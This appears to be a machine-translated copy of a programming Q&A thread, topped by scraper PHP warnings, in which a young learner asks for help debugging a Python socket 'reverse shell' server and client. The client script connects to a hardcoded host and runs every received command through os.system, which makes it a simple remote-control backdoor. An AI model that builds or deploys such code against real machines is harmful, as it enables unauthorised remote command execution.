Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/348.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
我正在使用socket在python中编程一个反向shell toll,我得到一个错误,说';int';对象没有属性';编码';_Python_Sockets - Fatal编程技术网

我正在使用socket在python中编程一个反向shell toll,我得到一个错误,说';int';对象没有属性';编码';

我正在使用socket在python中编程一个反向shell toll,我得到一个错误,说';int';对象没有属性';编码';,python,sockets,Python,Sockets,所有这些都是用python 3.8编写的 这是我的服务器脚本: import socket import os from cmd_colorizer import colored os.system("cls") s = socket.socket() host = socket.gethostname() port = 8080 s.bind((host, port)) print(colored("[+] Server is running", "green")) print(color

所有这些都是用python 3.8编写的 这是我的服务器脚本:

import socket
import os
from cmd_colorizer import colored

os.system("cls")

s = socket.socket()
host = socket.gethostname()
port = 8080
s.bind((host, port))
print(colored("[+] Server is running", "green"))
print(colored("[*] Waiting for connection...", "yellow"))
s.listen(1)
conn, addr = s.accept()
print(colored("[+] Shell established!", "green"))

while True:
    cmd = input(str("~#> "))

    if cmd == "exit":
        exit()
这是我的客户端脚本:

import socket
import os

os.system("cls")

s = socket.socket()
port = 8080
host = "DESKTOP-3EG5VR9"
s.connect((host, port))

while True:
    data = s.recv(1024).decode()
    redata = os.system(data)
    s.send(str(redata.encode()))

我很抱歉,如果这是一个愚蠢的问题,我12岁,正在学习python。有人能帮忙吗?

。使用或
子流程。改为运行
。那么代码行是什么样的呢?现在我收到了这个错误:“bytes”对象没有属性“encode”
encode
只需要将
str
转换为
bytes
。默认情况下,
子流程
函数已经返回字节。